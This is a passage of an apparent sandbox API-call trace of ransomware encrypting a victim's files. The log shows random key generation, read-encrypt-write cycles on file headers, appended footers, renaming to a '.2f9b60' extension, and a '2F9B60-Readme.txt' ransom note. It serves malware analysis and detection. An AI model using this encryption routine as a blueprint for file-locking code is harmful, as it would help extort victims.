0x5f38d1 [0094.408] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x3dbce431 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x8d130c7 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x73e8c799 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x1ada9d7d [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x4c4c7cee [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x281c8175 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x7acb5496 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x6aeb3e1d [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x155cbad1 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x6d89f90b [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x51baa1be [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x27c774cb [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x369a7f80 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x2c40eb10 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x83fc956 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x1b70338d [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x4ee33c83 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x37576591 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x594c5229 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x7a4af3e3 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x5a2f4237 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x4de96ec3 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x46dcb07d [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x4bfe6a92 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x44af5690 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x7fa39721 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x471bc5e3 [0094.409] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x2c40c4fd [0094.420] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.420] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2549fb60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2549fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0094.420] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0094.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.421] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2549fb60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2549fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0094.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97300 [0094.423] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.423] WriteFile (in: hFile=0xd90, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2549fc10, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2549fc10*=0x120, lpOverlapped=0x0) returned 1 [0094.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0094.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f2f0 [0094.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86ee90 [0094.425] sprintf (in: _Dest=0x1b86ee90, _Format="%c%c" | out: _Dest="ba") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee92, _Format="%c%c" | out: _Dest="6e") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee94, _Format="%c%c" | out: _Dest="d4") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee96, _Format="%c%c" | out: _Dest="1f") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee98, _Format="%c%c" | out: _Dest="6b") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee9a, _Format="%c%c" | out: _Dest="02") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee9c, _Format="%c%c" | out: _Dest="91") returned 2 [0094.425] sprintf (in: _Dest=0x1b86ee9e, _Format="%c%c" | out: _Dest="05") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eea0, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eea2, _Format="%c%c" | out: _Dest="c8") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eea4, _Format="%c%c" | out: _Dest="64") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eea6, _Format="%c%c" | out: _Dest="0c") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eea8, _Format="%c%c" | out: _Dest="da") returned 2 [0094.425] sprintf (in: _Dest=0x1b86eeaa, _Format="%c%c" | out: _Dest="f8") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeac, _Format="%c%c" | out: _Dest="45") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeae, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeb0, _Format="%c%c" | out: _Dest="dd") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeb2, _Format="%c%c" | out: _Dest="ee") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeb4, _Format="%c%c" | out: _Dest="26") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeb6, _Format="%c%c" | out: _Dest="a1") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeb8, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeba, _Format="%c%c" | out: _Dest="c3") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eebc, _Format="%c%c" | out: _Dest="1a") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eebe, _Format="%c%c" | out: _Dest="83") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eec0, _Format="%c%c" | out: _Dest="45") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eec2, _Format="%c%c" | out: _Dest="90") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eec4, _Format="%c%c" | out: _Dest="2d") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eec6, _Format="%c%c" | out: _Dest="9f") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eec8, _Format="%c%c" | out: _Dest="17") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eeca, _Format="%c%c" | out: _Dest="0a") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eecc, _Format="%c%c" | out: _Dest="53") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eece, _Format="%c%c" | out: _Dest="9a") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eed0, _Format="%c%c" | out: _Dest="8b") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eed2, _Format="%c%c" | out: _Dest="ea") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eed4, _Format="%c%c" | out: _Dest="2b") returned 2 [0094.426] sprintf (in: _Dest=0x1b86eed6, _Format="%c%c" | out: _Dest="3a") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eed8, _Format="%c%c" | out: _Dest="a7") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eeda, _Format="%c%c" | out: _Dest="7c") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eedc, _Format="%c%c" | out: _Dest="e6") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eede, _Format="%c%c" | out: _Dest="0d") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eee0, _Format="%c%c" | out: _Dest="10") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eee2, _Format="%c%c" | out: _Dest="31") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eee4, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eee6, _Format="%c%c" | out: _Dest="2b") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eee8, _Format="%c%c" | out: _Dest="3a") returned 2 [0094.427] sprintf (in: _Dest=0x1b86eeea, _Format="%c%c" | out: _Dest="47") returned 2 [0094.427] RtlInitAnsiString (in: DestinationString=0x2549fc88, SourceString="ba6ed41f6b029105b5c8640cdaf8457dddee26a15bc31a8345902d9f170a539a8bea2b3aa77ce60d10315b2b3a47" | out: DestinationString="ba6ed41f6b029105b5c8640cdaf8457dddee26a15bc31a8345902d9f170a539a8bea2b3aa77ce60d10315b2b3a47") [0094.427] RtlAnsiStringToUnicodeString (in: DestinationString=0x2549fc58, SourceString="ba6ed41f6b029105b5c8640cdaf8457dddee26a15bc31a8345902d9f170a539a8bea2b3aa77ce60d10315b2b3a47", AllocateDestinationString=1 | out: DestinationString="ba6ed41f6b029105b5c8640cdaf8457dddee26a15bc31a8345902d9f170a539a8bea2b3aa77ce60d10315b2b3a47") returned 0x0 [0094.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0094.427] wcscat (in: _Dest=0x1b784490, _Source="ba6ed41f6b029105b5c8640" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640" [0094.427] wcscat (in: _Dest=0x1b784490, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640.2f9b60" [0094.427] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640.2f9b60", NtPathName=0x2549fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ba6ed41f6b029105b5c8640.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce114a0 [0094.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0094.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.429] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2549fc98, FileInformation=0x2549fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2549fc98, FileInformation=0x2549fca8) returned 0x0 [0094.429] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2549fc98, FileInformation=0x2549fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784490) returned 1 [0094.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0094.433] FlushFileBuffers (hFile=0xd90) returned 1 [0094.434] CloseHandle (hObject=0xd90) returned 1 [0094.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.435] wcscpy (in: _Dest=0x1b866440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.435] wcscat (in: _Dest=0x1b866440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 Thread: id = 564 os_tid = 0xe94 [0094.441] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\e4pIse5imH dIacL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e4pise5imh diacl.swf")) returned 0x20 [0094.441] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\e4pIse5imH dIacL.swf", dwFileAttributes=0x20) returned 1 [0094.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\e4pIse5imH dIacL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e4pise5imh diacl.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.442] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x24f2fce0 | out: lpFileSize=0x24f2fce0*=57092) returned 1 [0094.442] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xdf00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.442] ReadFile (in: hFile=0xd90, lpBuffer=0x24f2fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24f2fca8, lpOverlapped=0x0 | out: lpBuffer=0x24f2fc60*, lpNumberOfBytesRead=0x24f2fca8*=0x4, lpOverlapped=0x0) returned 1 [0094.443] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.443] NtQuerySystemTime (in: CurrentTime=0x24f2fba0 | out: CurrentTime=0x24f2fba0*=132462177002842000) returned 0x0 [0094.443] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x2a0e8029 [0094.443] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x54ffa449 [0094.443] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x95c74b6 [0094.443] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x56d6d244 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x3d1bf342 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x1b896286 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x1bdadb8a [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x59a1f6f1 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x31e6f9fa [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x43191897 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x5ceb3299 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x5984bc5d [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x13480251 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x2e4b0985 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x47b96f0 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x3f8aef55 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x57989a8f [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x5c780c83 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x22984ac [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x3a0f6017 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x777670f4 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0xc15c4 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x3a0142b5 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x292308bc [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x27fbef17 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x637225f3 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x6664467c [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x62b16896 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x28c1bfee [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x7dde0b7f [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x2ba7ca0 [0094.444] RtlRandomEx (in: Seed=0x24f2fb90 | out: Seed=0x24f2fb90) returned 0x78d0f084 [0094.454] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.454] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24f2fc00, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x24f2fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0094.454] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0094.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.455] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24f2fc00, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x24f2fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0094.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f2f0 [0094.457] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.457] WriteFile (in: hFile=0xd90, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x24f2fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x24f2fcb0*=0x11a, lpOverlapped=0x0) returned 1 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85fb50 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c6d0 [0094.460] sprintf (in: _Dest=0x1cd9c6d0, _Format="%c%c" | out: _Dest="07") returned 2 [0094.460] sprintf (in: _Dest=0x1cd9c6d2, _Format="%c%c" | out: _Dest="5a") returned 2 [0094.460] sprintf (in: _Dest=0x1cd9c6d4, _Format="%c%c" | out: _Dest="87") returned 2 [0094.460] sprintf (in: _Dest=0x1cd9c6d6, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6d8, _Format="%c%c" | out: _Dest="c2") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6da, _Format="%c%c" | out: _Dest="64") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6dc, _Format="%c%c" | out: _Dest="04") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6de, _Format="%c%c" | out: _Dest="04") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6e0, _Format="%c%c" | out: _Dest="7a") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6e2, _Format="%c%c" | out: _Dest="60") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6e4, _Format="%c%c" | out: _Dest="37") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6e6, _Format="%c%c" | out: _Dest="df") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6e8, _Format="%c%c" | out: _Dest="7e") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6ea, _Format="%c%c" | out: _Dest="7c") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6ec, _Format="%c%c" | out: _Dest="48") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6ee, _Format="%c%c" | out: _Dest="df") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6f0, _Format="%c%c" | out: _Dest="15") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6f2, _Format="%c%c" | out: _Dest="78") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6f4, _Format="%c%c" | out: _Dest="45") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6f6, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6f8, _Format="%c%c" | out: _Dest="45") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6fa, _Format="%c%c" | out: _Dest="df") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6fc, _Format="%c%c" | out: _Dest="fa") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c6fe, _Format="%c%c" | out: _Dest="19") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c700, _Format="%c%c" | out: _Dest="b9") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c702, _Format="%c%c" | out: _Dest="cb") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c704, _Format="%c%c" | out: _Dest="bd") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c706, _Format="%c%c" | out: _Dest="2a") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c708, _Format="%c%c" | out: _Dest="24") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c70a, _Format="%c%c" | out: _Dest="97") returned 2 [0094.461] sprintf (in: _Dest=0x1cd9c70c, _Format="%c%c" | out: _Dest="35") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c70e, _Format="%c%c" | out: _Dest="ea") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c710, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c712, _Format="%c%c" | out: _Dest="c9") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c714, 